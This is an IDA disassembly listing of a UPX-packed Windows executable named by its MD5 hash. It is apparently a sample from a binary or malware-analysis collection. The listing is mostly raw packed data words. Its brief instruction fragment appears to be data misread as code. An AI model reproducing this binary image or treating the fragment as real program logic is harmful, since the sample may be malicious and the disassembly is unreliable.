; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : F673A5C8E32FDE28F89ED30DDA5D4ADA ; File Name : u:\work\f673a5c8e32fde28f89ed30dda5d4ada_unpacked.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 400000 ; Section 1. (virtual address 00001000) ; Virtual size : 00016000 ( 90112.) ; Section size in file : 00016000 ( 90112.) ; Offset to raw data for section: 00001000 ; Flags E00000A0: Text Bss Executable Readable Writable ; Alignment : default .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute UPX0 segment para public 'CODE' use32 assume cs:UPX0 ;org 401000h assume es:nothing, ss:nothing, ds:UPX0, fs:nothing, gs:nothing dd 0 dd 57FFh dup(0) UPX0 ends ; Section 2. (virtual address 00017000) ; Virtual size : 0000B000 ( 45056.) ; Section size in file : 0000B000 ( 45056.) ; Offset to raw data for section: 00017000 ; Flags E0000060: Text Data Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute UPX1 segment para public 'CODE' use32 assume cs:UPX1 ;org 417000h assume es:nothing, ss:nothing, ds:UPX0, fs:nothing, gs:nothing ; [00000003 BYTES: COLLAPSED FUNCTION nullsub_100. PRESS KEYPAD "+" TO EXPAND] db 0FFh ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 268h and dword ptr [ebp-8], 3 cld add bl, ch pop es mov eax, [ebp-4] inc eax mov [esi-13h], esi fucomi st, st(7) push es cmp dword ptr ds:1B418000h[eax*4], 0Fh test [esi], dl add ds:4F34FF10h, eax idiv bh inc edi lea eax, [ebp-260h] push eax call near ptr 369C7144h pop ecx pop ecx or eax, 0FEF7F500h retn ; --------------------------------------------------------------------------- dw 766Eh dd 6AFEF00Ch, 0FF256A03h, 15FF0875h, 0F7B57008h, 8335DE66h dd 0D60E0A5h, 6308858Bh, 8F75CD90h, 0E485C706h, 95F0405h dd 6D9DB2DCh, 4B508D64h, 0BDEC52F4h, 162E93B1h, 0B557E8E4h dd 6CCD9B3Eh, 606F05AFh, 839C5000h, 0DAFEDBBDh, 7400057Fh dd 0A53EB02h, 45750139h, 6C280C83h, 535ECDFFh, 0C66AAB52h dd 310CC483h, 8D92CE98h, 591E988Ch, 6DAD0453h, 0C0856E1Ah dd 0F8F81075h, 0B06534E9h, 1B61CCFBh, 1C0F1028h, 6C6CC3C9h dd 0C458DDBh, 38068B9h, 3CA8F100h, 0EED8CCEBh, 3E022405h dd 6808AC11h, 82867C26h, 84E880BBh, 11663A45h, 3FB7B402h dd 4D8B72F2h, 89C803FCh, 0FC7D8304h, 0D916C85Bh, 5200402Dh dd 0F8BA0104h, 733242DAh, 3C830E52h, 3BEF7E47h, 759D6C4h dd 0F4D60E48h, 763DBEFEh, 8A2387Bh, 0BE0F1103h, 5CF81540h dd 62C82475h, 2C53C59Fh, 4805848Dh, 6C16795Eh, 0B23EEB61h dd 0FDD3B012h, 0D873C8B0h, 0FDC00212h, 72FD8318h, 575603E8h dd 0AC02AC68h, 0FFB82154h, 4D4E7739h, 59480A11h, 5885B60Fh dd 0D9EC7E18h, 2374182Eh, 298B5D22h, 446830FFh, 0C1CB7681h dd 845D583Eh, 7103BC5h, 7C2B3D50h, 4CA31646h, 8013754Ch dd 0F0DDAD2Fh, 5F8719DDh, 5DC03359h, 7268A007h, 0D9F38DA2h dd 59425F7Eh, 44A5482Ch, 0E4DF6370h, 6505090h, 0F08B4F8Bh dd 8DBFF0D7h, 0F083B0Bh, 0A040A8Dh, 0F6690DB5h, 0F0B37814h dd 781F16ECh, 39E8B104h, 45753704h, 0B58446Eh, 348931BDh dd 5B33DDFCh, 508C1AB3h, 3C5D9006h, 23FD82C0h, 4498D23h dd 0C01448Dh, 0C3B02F50h, 5F9AEC28h, 0E10D2870h, 2DA10730h dd 57015A25h, 46D8F71Eh, 1BFBA318h, 11C083C0h, 3CD6945Fh dd 64E73C00h, 0E142760Bh, 0BDF03840h, 8B81604Ch, 26852B08h dd 5B9FB23Dh, 0C761FFAh, 0B8D185Fh, 4C3125EBh, 8986C6F7h dd 0B058B2Ah, 4F387630h, 30387496h, 0DB4365FCh, 411E77Bh dd 0C3B12B03h, 9DEBAB98h, 5FC2C23h, 72704B4Eh, 0BDEF74C1h dd 0B13E0C51h, 239DFC28h, 0FC243907h, 0FC24FC24h, 0ED9AC784h dd 39599929h, 24870F11h, 676E3FA9h, 1103865Fh, 8DBE49BEh dd 21C13B51h, 74D817DDh, 0C183193Eh, 0B211C20h, 0E90CC966h dd 2028C771h, 3398C9BDh, 6208860h, 0EF4AF0D6h, 3132330Ch dd 0B04B17CFh, 2306D78Fh, 289B91C3h, 0B0AFD8F3h, 8D031E1Ch dd 0FD489542h, 0EEB00367h, 588A0A0Ch, 0C32DB527h, 2A6012F5h dd 0EE23F8C3h, 5F76164h, 9304041Ch, 0CED82872h, 4B26F497h dd 8A064407h, 0B37EE70h, 0A8BC68A7h, 0F5458A9Ch, 321C8588h dd 0F1846320h, 0F56580h, 4A76F1A8h, 68D4D23Ah, 8A14CC1Ch dd 0E9860D56h, 0EB5F8836h, 0A01B402Eh, 244BA956h, 0D3013A3Fh dd 0AB6C3821h, 0CA908374h, 23A43711h, 7E13DF0Bh, 91049607h dd 7E304085h, 40231853h, 3B1A959Bh, 13D90A54h, 2375E536h dd 664FC103h, 5855B27Ch, 6A534C5Eh, 4052E659h, 52B8B238h dd 7923942Dh, 1D44C8D8h, 7E80F8F7h, 4902D82Dh, 2C4E1C21h dd 0BDDCC68h, 1022CA6Bh, 0D90FEBD3h, 1FED0306h, 0C80CFB9Eh dd 0C95E5FDCh, 3865FCC2h, 5160D858h, 50C1651h, 1C0ECE0Dh dd 52F709ACh, 74775008h, 2043831h, 77E23C45h, 4DFB241Dh dd 104D8AB1h, 30044888h, 0C627895Eh, 541C0A0h, 0E20C5230h dd 0C08C9BB7h, 54A509C0h, 1C090511h, 3FBB760Dh, 59634F9Ah dd 0F31045F6h, 61E5C709h, 9C8616BAh, 94081CD2h, 3FBAE817h dd 68F87550h, 0C6A0A74h, 4012BDFCh, 7036D831h, 47A0F17Fh dd 784D1118h, 3D83F74Bh, 7427DEF4h, 0C8620835h, 14B21C80h dd 0C9ECE8E8h, 0EC720321h, 7038F0F0h, 6A5D3067h, 72D3EB00h dd 0F16EE0D6h, 3AA8980h, 7B8D0D0Eh, 743E1360h, 9D326A4Eh dd 0E5147423h, 0FDCD7792h, 0FC052B60h, 72379A4Dh, 3B24EB02h dd 21D91E71h, 150500FAh, 1BDB5C25h, 0C2D14A3h, 8C62402Fh dd 740AEC3Fh, 750D0A0Bh, 0EBA46815h, 85C2C800h, 355A8D43h dd 26117EBh, 0BC484CE2h, 0C400B417h, 0E70E249h, 7303CFAh dd 0D8907201h, 3A03A7E7h, 8A1FF8ECh, 2D87B1BDh, 0F40E8CB9h dd 3DD6BCFCh, 680D9930h, 26C81446h, 6C785B26h, 0C6F8EC28h dd 0D4EB66Ah, 0CE8D831h, 3BE7F0E2h, 0EC724C0Dh, 0ED93E84Eh dd 98066C9Ch, 1704E9Ch, 18BB600Bh, 53520848h, 0C805A338h dd 0F8D89493h, 13891B22h, 74DDB69Ch, 3B41B54Eh, 0CD9BA4Ah dd 7B10F040h, 0E10E6DF9h, 6A662CDCh, 0FCA01244h, 16CD233h dd 0CC44A0F3h, 0BA59EF5Dh, 8BD066F4h, 19D831ABh, 0FC9DED90h dd 0E0DC0BF7h, 982C17BAh, 1B25561h, 84DF2501h, 0DF00BAC7h dd 7CEE8441h, 0ADC8708h, 8BF8D869h, 0B679175Ch, 0A17A3D3h dd 5369E894h, 0A3D3B649h, 94E02C03h, 8964DE04h, 956F8E7h dd 6FB04621h, 171E5405h, 0F4B70C6Dh, 0FDFCF206h, 1D50CF12h dd 0B0D21D83h, 0AD808C1Bh, 719E3568h, 0F0BCC88Ch, 0AB08A4FAh dd 0F85BA292h, 5241589Ah, 36FD031h, 0F7BE4647h, 0EC3E09F9h dd 4E247484h, 81D876C8h, 4A7420BDh, 0C43BC5A8h, 6A41D26Eh dd 0B0C8D0Ah, 722F6A9h, 0F8D4E0B9h, 0C06F8D4h, 76ECC1EFh dd 2173AB3Bh, 0E9AFE60Ah, 6B4D0CF1h, 0ABE4C175h, 591B0D8Eh dd 0F8ACC7AAh, 846410Ch, 9535ABEFh, 2107E4FCh, 0A41675C1h dd 1206A7E4h, 88936D82h, 0A181A56h, 96840102h, 0C28ED0B2h dd 9B1A4181h, 0B36B733Ch, 626E72C3h, 5E68B314h, 8186E91Ah dd 1ECD304h, 251EC58h, 73CE4E07h, 0C3D02698h, 38CD7749h dd 345B320Eh, 0CA822C68h, 0E1DCBC09h, 1A3671D0h, 0AF02DE1Bh dd 0C7A4C18h, 4BCCC6Ah, 6A045D66h, 0C90204CCh, 6897BE07h dd 0AE015718h, 0B8181981h, 461037BBh, 14682B4Eh, 1E7E291Eh dd 2D6C3683h, 350D0064h, 0A4F4680Fh, 0DC196539h, 0D60604B6h dd 3C806D9Dh, 4517FA20h, 59835CC1h, 1162A6FEh, 7DAA5CF9h dd 0DE4A841Eh, 0FA1CFA1Ch, 7213F09h, 0BA10FA20h, 0D5271068h dd 0E11C9EE8h, 49A1FC49h, 0BCE640FBh, 7BE57B89h, 3E141CC4h dd 765A471Fh, 7EF600B6h, 247A4A59h, 0EAFC4F81h, 7AB28B0Dh dd 53928280h, 92C19B67h, 189B0BFCh, 8F724C0Eh, 48811AA5h dd 91CF9DC2h, 48F8DC8Fh, 1BFA1072h, 5E3ACDDh, 2B088198h dd 6C7C5876h, 8B91B1B1h, 0B892203h, 0D16BFC3Ah, 0C4C8C8Ch dd 0BD07EE6Ah, 55166FC3h, 43BB43B2h, 0A0C06CCh, 0B63A2ECFh dd 0B66B7862h, 65F8E65Ch, 19CA1673h, 277612E1h, 0F04B810h dd 67720D26h, 0AF7C884Fh, 39D60B14h, 2E4860E8h, 0E46763C0h dd 0B9991E8Bh, 0F9F70D00h, 0D9AC7B0Eh, 5DB0813h, 38049DD9h dd 0B22FEE2Bh, 5001C45h, 0C57035D8h, 0DE2DEC27h, 9D22BDD8h dd 27241CDDh, 6210F9FCh, 0F9FC3E43h, 30858321h, 3468BC25h dd 57C4207Bh, 11843848h, 640CD089h, 0D65263B3h, 0A1C8988h dd 782402CCh, 0F71C1C81h, 1F31F741h, 8BC8BEFh, 0E4807F6h dd 0D82C0846h, 17F69ECDh, 0F610A32Ah, 9AF782E7h, 2C33EB9Dh dd 3D951E9Ch, 1E496BC1h, 30424412h, 0BA015D8Fh, 1874A0A1h dd 0CD380010h, 18B1DFC6h, 0E8F04522h, 15021BFh, 0C8BD6A40h dd 6A02C7E7h, 0EC04015Ah, 8A6C28F9h, 6827E05Ch, 1C16DF58h dd 0E050B9F7h, 57EB1484h, 0D5F5FC42h, 88F5EE76h, 1F40FA13h dd 0A777F1F3h, 0F9F9ECDFh, 2201765Fh, 6BB83670h, 0B191601Ch dd 5404E504h, 7C81E968h, 41A05A6Ah, 61F714F7h, 0F20BDDD8h dd 343DF714h, 9559B73Ch dd 6E6BDF7h, 3E2B16CEh, 0DCF68492h, 840D32C7h, 23F08EF8h dd 16F097D4h, 64683EF9h, 3C8BD883h, 0F72022F9h, 0CE391CC4h dd 2CC34D49h, 5044402Eh, 642E8E49h, 0A7483CB2h, 987BF490h dd 0EA6068E3h, 0EB38B819h, 0B2F9E8D4h, 0B2F9EE6Fh, 809F9E8h dd 75021317h, 25EC962Bh, 0E97AC7B2h, 0F9F2B363h, 748BB8F5h dd 4583204Bh, 733067F8h, 5F270C57h, 58EB01A7h, 8CF02C87h dd 46F5F4CAh, 0F20E49B6h, 0F5F4F5F4h, 60F4FF6Ah, 3177AFC9h dd 0D9F9E826h, 9F6B0B02h, 82AD8C27h, 0F65ACF84h, 0E9B3101Dh dd 0F71C3453h, 2039B583h, 6B13E714h, 0F9030C22h, 0CF6903Ch dd 0BDF5F8F6h, 0F0CF9F24h, 0ECF5F0F5h, 64E42AF5h, 0E81CB3BDh dd 0F5EC2205h, 2D9CEF58h, 2205E427h, 5B099298h, 320B0CDh dd 14B5E10h, 0F123B316h, 4EBFD60h, 0C8EBCAEBh, 0CEC8330h dd 9625123Ch, 10056CAEh, 8A06140Bh, 93DB13CDh, 0F9071618h dd 0F8986D18h, 2C76E0CCh, 7D8121F8h, 341F8A7Eh, 1C390E59h dd 9C49F4F4h, 40E3D608h, 0CAF141Fh, 180B3C02h, 476216Ah dd 86293B19h, 251610E0h, 2E4627B9h, 29C51400h, 0B98C960Ah dd 66A1893h, 4502159Eh, 54FFE2B6h, 89F44D8Bh, 32022F88h dd 1CC01FA3h, 4E3324F2h, 846810B6h, 7CC8390Bh, 511E3883h dd 1C07117h, 53410667h, 6536106Ch, 8AC56178h, 725724Eh dd 0C2A00129h, 40B98420h, 420D548h, 9B66125Eh, 0F5142EFDh dd 23B8FBECh, 0EC93BF3Dh, 1A9107FBh, 1D1201Eh, 0FC1930D7h dd 332C4F52h, 0FB07F20Dh, 250E86AAh, 0FF0D669Bh, 0EC4A0D50h dd 9B23D8FBh, 1E3B6CBDh, 0ED763F44h, 0E0C8CEBDh, 720835E0h dd 0B2C6B075h, 8B8D4413h, 0FB19EC68h, 7107ECBAh, 3DF073A4h dd 136615F0h, 218B34D8h, 0C01B1955h, 0D8682A9Eh, 0F481F443h dd 1D8D8D80h, 3B0E8B0Eh, 3E51762Dh, 0BB62DBDBh, 0E44429E4h dd 0F736C068h, 2550E6BDh, 0F19E4F33h, 0D614F8D2h, 1F8466Ch dd 0B39DE475h, 0FD85B6CFh, 212C7224h, 0AC107202h, 0FD4CC0BCh dd 3D00B70Fh, 31FF5A4Dh, 0E93D0020h, 202B1377h, 89348D8Bh dd 0B5573708h, 1CC09462h, 451F3053h, 5C906046h, 3CFBA584h dd 93852D7Bh, 8D8A1B12h, 0DBF4758Dh, 0C12B293Eh, 0C807E06Ch dd 5BB5EA51h, 18E84360h, 59152632h, 0E46FC8B6h, 0B289C107h dd 0F5962928h, 16286046h, 195B5F20h, 7ECB5333h, 0E530B0CDh dd 2804D846h, 6119FA56h, 10282632h, 73E4DFE0h, 1CEC235Dh dd 1B5ADC35h, 0DA32D90Bh, 0B5C6197Bh, 0F8349C2Fh, 0B362CC21h dd 0E7E64CE2h, 0D90229F4h, 1922E01Dh, 6CB53C0Ch, 5D628B8Bh dd 208F906h, 57BD4879h, 0C4FAAF68h, 2392C6F9h, 14F9C8F4h dd 791F824h, 78E505B9h, 0FD7480FDh, 776EF934h, 4DA02C13h dd 157C8588h, 24D21F6Ah, 8DEEFB07h, 0F30A7DBDh, 0AAAB66ABh dd 0DCF9441Ah, 45E416CEh, 69383CF9h, 9F3EFACCh, 8F8B9778h dd 0D085CC8Bh, 605BD9FBh, 0C49B6A40h, 47BA9A15h, 7C28A1E2h dd 85850F42h, 38046A8Bh, 0CF49CB8Bh, 66C26061h, 666D826Fh dd 0F88B6409h, 22257520h, 0CB929ECDh, 0EB108C65h, 62DC4023h dd 5C249725h, 0D1F9C453h, 2284EFB2h, 9B520457h, 8E4F239Dh dd 40F940A7h, 0D1F940F9h, 5E970CCh, 401B847Bh, 0EDA0C619h dd 0F9C894F9h, 0C4FFCA3Ah, 9DECEFF8h, 2F06F84Bh, 0B2B70B03h dd 8E3564A6h, 0B34D1719h, 2FF67E13h, 803D5775h, 6A2B05A4h dd 0D9B39D2Ch, 3200F749h, 33375926h, 0DC3E308Dh, 50B09086h dd 3891F913h, 0EC0BECF9h, 6F4DE69Bh, 183B7C30h, 0BE40D2Bh dd 0BD227F39h, 0FBC63B05h, 881D8AECh, 0B09B0D84h, 7044822h dd 1BB3C348h, 54ECA4E1h, 0C8EC6C75h, 385340ADh, 205068F9h dd 6C2EA72Ch, 0CFB6B1D2h, 0A8D634BCh, 391E4BC4h, 596783h dd 6604C972h, 4754D644h, 0E902CEC8h, 83923138h, 0FD7C392Dh dd 99F94412h, 7FD9B640h, 3E3D30D9h, 2C2E420Eh, 402F2803h dd 0AE3264A6h, 0E4A0C00h, 0AAA91184h, 0B2474F00h, 168E40E5h dd 0C068C85Fh, 0FCD81833h, 1CF4D784h, 0E36780F8h, 0F81C45F9h dd 201C8F25h, 11678740h, 50400D6Ch, 0F6184924h, 461B6996h dd 32612B52h, 0C99C1A66h, 0FB00600Ch, 4E1E4218h, 7884F868h dd 0BE709790h, 0CC297868h, 0B17C2084h, 0A53D8B03h, 2C0ADDFCh dd 0C9152F7Bh, 9E6C4EA8h, 821DCB05h, 0F93CF928h, 0AD18EF0Eh dd 5375847Dh, 0AE7D4961h, 32DAB0Dh, 0CB50233Ch, 0C064B10Eh dd 6D58FF68h, 0F0B2179h, 24941644h, 7C8057D9h, 25B7491h dd 1E48851Ah, 75032092h, 0C860C445h, 1C274DF2h, 5754223Ah dd 1593C6Eh, 0B7976A4Bh, 272B63A1h, 8FC00914h, 66162DEBh dd 5A49334Fh, 0B0AB410h, 0E40B3BDh, 3210FA4Eh, 5CBD8F1Bh dd 0C1875140h, 86E0AE8h, 3EC6F10Bh, 0AD2A0CA5h, 79F8030Ch dd 9021876Eh, 0F7FC23h, 37884393h, 3BF80A0Ch, 27064792h dd 0A61C846Ch, 0A4EC113Bh, 0FE2D0F59h, 9D970DC0h, 0B757FA4h dd 5D3969E2h, 208D832Ch, 45AE6A4Bh, 31560696h, 760F182Eh dd 2005FD97h, 53E1276h, 9B446176h, 6179027h, 248444C0h dd 792854F8h, 10841420h, 0B67EC3E0h, 2004D91Ch, 7A6C5FAFh dd 14E2B0F1h, 342523E5h, 0B26D90FEh, 0EC18EC51h, 7A6A086Ah dd 884F136Ah, 20045AADh, 45ADFDF4h, 807A5DCCh, 0E6F00564h dd 157A8620h, 7AB1B9B5h, 10069B98h, 0A405103Fh, 0FC75662Bh dd 7DC810ECh, 5EC8C59h, 0B0150A08h, 0EC9E4B64h, 43230C05h dd 56D59F92h, 0EC928580h, 0C72A3268h, 50955C85h, 420C681Bh dd 3A8F5770h, 0F0A48C19h, 75DF083Dh, 2653CAA9h, 87D82187h dd 1F686047h, 8C048B7Ch, 0B7B2F62Fh, 5BD816Fh, 77C01C25h dd 7C740B32h, 0F273D917h, 74800372h, 0B400555h, 0CFD9CDB3h dd 6FEB461Dh, 63728D0Dh, 273D9C25h, 5076939Bh, 0FD0B2994h dd 0FDD36E9Eh, 833DEB2Fh, 834EBBCh, 9E692BA4h, 228469E6h dd 0D401964h, 10E69EE9h, 14B90724h, 1CB5365Ch, 0EC3B67FEh dd 0D58708FEh, 0B9BF57Bh, 94186FCh, 2B11AFF8h, 61B29FFh dd 0B0FF0440h, 832032C0h, 0B80B8E1Dh, 203203C4h, 0A09CB403h dd 20320320h, 234AACA8h, 0B0A43203h, 0B87105FCh, 0CF401FCh dd 88864C68h, 0AAF695DBh, 48F30F7Dh, 7EEA831Ch, 109E4ACEh dd 0F4C46B1Ch, 5122F4FEh, 80391E53h, 0A1BEC71Fh, 77F75291h dd 863C680Dh, 0BEC7C65Eh, 2606F605h, 0C28680Bh, 7C275C31h dd 754FE638h, 75DA3881h, 0D18B141Eh, 809FB7CFh, 0C4D8B40h dd 81890449h, 0FBFFC883h, 1964A582h, 4E8E4827h, 6C9FD52Eh dd 8AF106Eh, 1574021Eh, 7A6D3F68h, 5866CDCBh, 0AB87234h dd 4BB22830h, 268E419Eh, 3C080108h, 90DAA546h, 0DDAB533Ch dd 0CF4874B2h, 0CC7730EAh, 6D8BCC43h, 7210D2B3h, 2A58072Ch dd 0D421AA20h, 38CCF747h, 6D421ED4h, 48D04560h, 420CC766h dd 38A0BE18h, 1731420h, 36CD6DB9h, 66384250h, 0CCE6D254h dd 0EC666DC7h, 0BC7C945h, 3B9B08F6h, 0C818B1F4h, 213BC85Ah dd 59F2C8FEh, 4889EC06h, 0C40C2008h, 3B3406C4h, 0CC41CB6h dd 1210104Bh, 0B6FF6DECh, 0CC152096h, 83184189h, 10ACD465h dd 0F7C41593h, 4EFDC17Ch, 58082114h, 6EEE6BA6h, 3CD99DC8h dd 10F10762h, 0FBB80A7Eh, 0E0650F2Ah, 99B2CCE4h, 1C40E0EDh dd 0EC1187E0h, 0D6E20EB6h, 883C0E40h, 0E033E238h, 425DE10Eh dd 30C06B2Dh, 87E43E50h, 0E4592B61h, 3924325h, 0F0E490B9h dd 0D919AEF0h, 0E89DF206h dd 1906E8E8h, 3BB754C1h, 60830F53h, 91B90A31h, 0C0D4DD0Fh dd 0E804C030h, 5AC9E173h, 8BE4BABFh, 9C89C055h, 144C70Eh dd 6FC85F89h, 0BC37BC00h, 5489BC01h, 8486FC85h, 27B89001h dd 613606B8h, 0CB8CD60h, 2F109E60h, 8D1CA19Bh, 55C90CA5h dd 0BBE189E4h, 0A44E10Dh, 4C65518h, 0B9F4B488h, 0C2B09092h dd 0D7C03009h, 7FD96C9Dh, 31B19E8h, 0B480AC8h, 0BB047611h dd 0CB024C4Bh, 8EE49227h, 0E49C1B44h, 34F71059h, 29F4BF04h dd 0BD75E2CEh, 200A0974h, 0C085E024h, 349727A6h, 0B52B2626h dd 88847487h, 0F374010h, 2DAF0BFh, 2B5DD8C9h, 0CCF10655h dd 2C97D02Ch, 0CF1070FFh, 1CD43C13h, 0CC40CCB2h, 0C4178108h dd 42FC24Ch, 9D19619h, 6F7D155Eh, 0EE277D8Ch, 2E08393h dd 0EB0287Fh, 0D660F604h, 46D78D5h, 0B65D775Ch, 20CE2303h dd 24140B24h, 666F52C9h, 306D19BCh, 0C6ED92DEh, 76141840h dd 170A47B9h, 89CB61B2h, 43818B2Dh, 2A64656Eh, 90DE01B6h dd 0F42B3500h, 1B7881C0h, 640E2E7Fh, 7FFB2807h, 0EBA07575h dd 3B661028h, 0F045B284h, 5B16D5C1h, 4E7F4C18h, 419F0A3Ah dd 0B20B38DAh, 58027C66h, 0EA10D9B2h, 13C0B70Fh, 60A05E23h dd 271CE421h, 0CD5F08D0h, 376D1A09h, 99839110h, 0E8257CF8h dd 0B70F6712h, 8714962Eh, 0D64C1B28h, 3C2C85Bh, 0F81558DDh dd 8F61B270h, 32EB1264h, 0C9C96E25h, 1190D236h, 6710FC85h dd 67A1C7E9h, 28E2A46h, 30843A1Ch, 7208F61Bh, 0FC01D25Dh dd 68187210h, 548289A0h, 0A0C1EFDBh, 786813A4h, 16F47513h dd 2ED80858h, 0B410A336h, 58266868h, 2B1C3407h, 588BAB53h dd 33D84C2Ah, 4C18ECC8h, 3C841C12h, 2040F213h, 2133C834h dd 282424CFh, 0F2133E14h, 30002C4Ch, 909B88ECh, 0D03440E7h dd 247BC238h, 88C8F25Ah, 0B4684CAEh, 67B0926h, 0A03CF819h dd 42679012h, 4488409Eh, 0E4061670h, 645F489Bh, 848818FCh dd 0FC790645h, 33231254h, 3C58CF21h, 5B23245Ch, 732B5E8Bh dd 0FA095808h, 5C2CE2DDh, 1A05C71Fh, 679B3588h, 96D35B3h dd 5C38BA58h, 72CF3BBDh, 30682F09h, 0F0F0C988h, 20CF6018h dd 50F07263h, 9E41260Ch, 0E8E832CFh, 27E887ECh, 4C9858F5h dd 1228B86Ah, 0C802BC84h, 0AD68E293h, 0EE50C301h, 0ABB248A9h dd 8DEE5442h, 6793780Ch, 0EA36EEEEh, 0BD837ABFh, 8B2FDD2Fh dd 89C43850h, 3E40444Ch, 0CC41EE5Ah, 8FA9725Dh, 0C48EE4Ch dd 0A0E7AB33h, 11897BD7h, 9D16C61Ch, 0DC32F3Dh, 27C37CFFh dd 0C04F3BC5h, 16F08510h, 7507E67Bh, 0D8CBD8B1h, 92FC05EDh dd 1B6CE15Eh, 2C70FF08h, 0BD9710F2h, 7610F140h, 5E893711h dd 4FDFDA0Ch, 0BE0F712Eh, 0A7EF9805h, 2CBB0839h, 0EDF50A58h dd 83423015h, 0C09EC16Ch, 5624CE16h, 0AF66C442h, 3815528Bh dd 0ECB573B7h, 77F5B00Dh, 821D3BB6h, 73142581h, 91B0146Bh dd 0E9DFAD27h, 29999484h, 314CBFBBh, 0F7951E10h, 56293893h dd 75BA3A16h, 9BB47A84h, 8A180CE3h, 16E4037Fh, 6AE08C2h dd 0AC601154h, 3C0AC020h, 682E147Eh, 8BD28C64h, 0A7A44906h dd 0F86717CEh, 0C9D8F89Bh, 0F86A3B21h, 143DF36Fh, 82B9BDFAh dd 76019ADEh, 0B74520h, 905D433h, 3400D00h, 41B6376Fh dd 48480CBBh, 0C0DA1807h, 0BB0C250Eh, 0FCB6C80Fh, 0D10E8C1h dd 58F3E181h, 0D0285732h, 122113C0h, 0F77B3733h, 0DF4A6AD0h dd 0DD96ECF3h, 3054EDDh, 4EB2674h, 246C6474h, 3E024D00h dd 4EFE68D8h, 0D95F4701h, 842B99Dh, 8008820Bh, 0E0C11EE4h dd 37580308h, 7F252160h, 0C81023FFh, 0FF217601h, 6A0B1847h dd 0CAAA0B10h, 2592B16h, 1D72C9Ah, 0B1E1920Ch, 6804235Dh dd 0ECA9BC48h, 52344D74h, 53B705FEh, 205F401Ah, 6A38817Fh dd 1D346808h, 4498036Ah, 3068C817h, 58F9F702h, 2144E446h dd 68A10629h, 5F31A82Eh, 1020F0Dh, 222F5D78h, 1CAC3A3Eh dd 7295B7Fh, 0C0EB044Ch, 0D7B3F095h, 8D18F68Fh, 8F314A24h dd 0D9FA0B68h, 0E76558ACh, 0B868557Dh, 6A5CEA0Bh, 631F9A27h dd 8186F018h, 0D705B306h, 1CD1F402h, 45E060C5h, 23E8E511h dd 0E8E880F2h, 0A9E047DEh, 26046189h, 3DAD33F4h, 0F3998817h dd 0E3648181h, 0E091DC20h, 5D752AF6h, 99D6E368h, 0DE138F59h dd 0DF70565h, 220319A1h, 0FE113D5Bh, 6B185E17h, 41DAE93h dd 0DAFC5972h, 4BB10610h, 0E1950FF6h, 42A3316h, 76C80C96h dd 0ECECEE79h, 245EC3B9h, 2ED23A0h, 3B3781Eh, 8A5CEDB9h dd 7CEDBFF8h, 587CC2A6h, 629A830Fh, 0D8BE7BC6h, 0EDF6572Bh dd 0EDF80093h, 0EC1EE6Dh, 68208DFCh, 0E45A511Ch, 61B34530h dd 0BDB80AD9h, 5896F448h, 150F7607h, 96C2E9DFh, 0D6E06D76h dd 76A7E06Dh, 51E03485h, 7F80B1CCh, 940FEE11h, 7E8723C0h dd 96800466h, 997959B1h, 7F172314h, 8C9A940h, 0E1004049h dd 0E8BE9903h, 397CCB84h, 14DB19D1h, 804409BCh, 49403150h dd 83A183C1h, 4A293917h, 8AB302BDh, 122A06DCh, 29E0A431h dd 0E4A08846h, 105A5B2Ah, 0EC64990Ah, 7878B588h, 6EB14EA6h dd 7A89152Eh, 85817EF4h, 0BB0A7A30h, 954D575Fh, 0D10C101Ch dd 0CCF622F5h, 0A355F8F8h, 7645E00Ch, 1B818534h, 1040098Dh dd 0D246026h, 60106C38h, 1808103Ah, 43D593D1h, 68217530h dd 36157502h, 0E69320FBh, 0EB01B00Ch, 0D9A9201Fh, 1CD9E15Eh dd 7697EB66h, 65C4174h, 32A90ED4h, 0A0E33C60h, 301C03A4h dd 0C4DFEEC4h, 63B832E5h, 868B9C4h, 0B7D4D910h, 0D480B07Bh dd 8B6B382Ch, 500200Fh, 0D573609Ah, 20B8CCA0h, 0A9F0D8A8h dd 0EBB74348h, 0A0B5FE24h, 0DC877D40h, 73C32FE7h, 0D85DB981h dd 172C8105h, 3421E859h, 10741935h, 51D4D435h, 0D063364Ch dd 0A897099Eh, 0C612CF48h, 0D64C2Ah, 23B191ACh, 8050C70h dd 2FB85104h, 0E89B310Ch, 0C1D016CAh, 0BFD43D9h, 0B6A81708h dd 700C6213h, 511D4BC2h, 40DB41E2h, 550C82Fh, 0B2B3912Ch dd 445BB19h, 1B92105Dh, 1418B18Ch, 0D0E1108h, 0D351BBA6h dd 6137A06Eh, 6A7E01D3h, 0C3442332h, 22681902h, 0FD8DDB8Bh dd 55046FCDh, 815489CCh, 0F400E04h, 1D0A0189h, 81B05722h dd 2E4E4C38h, 2BED84DDh, 1A9ED039h, 260D7583h, 1112D339h dd 2CF5141Eh, 0B3291593h, 0E0FCFCFCh, 5E9DCF06h, 14F6CB2h dd 7566E93Dh, 0FC40F9AFh, 6C401DF2h, 0C11B62C1h, 2D9650FFh dd 0D1197708h, 97448D8Eh, 7842080Ah, 0FCCAE6B1h, 8140A419h dd 0CB15D156h, 32565FDCh, 0C01F8AB3h, 0FF747D80h, 0F7DEA090h dd 6FF74CEh, 0EC088D43h, 20DC33A3h, 10671083h, 26502605h dd 0DD95D826h, 5874FF73h, 0E4472C5Eh, 0E8B190E4h, 64646449h dd 39EFD98Ah, 733F8864h, 37771D7Ah, 9504EB14h, 81845149h dd 443B1A08h, 0BF63B096h, 567504EFh, 4829802Fh, 2F732839h dd 79B6230h, 96946419h, 3794890Ch, 0C2765BEFh, 40BFEB6Eh dd 0DC0981FEh, 9C08E9D2h, 0BD284F39h, 0B0B02555h, 0EE750759h dd 5F99E1CFh, 3FFCBBB4h, 3D05FF68h, 58EC5DB3h, 138B053Bh dd 0FB43C0Ah, 6A70805Ch, 0A9403765h, 2321C9C8h, 6060601Dh dd 725DE10Ah, 1D1D2360h, 0D10D643Bh, 7533BF8Fh, 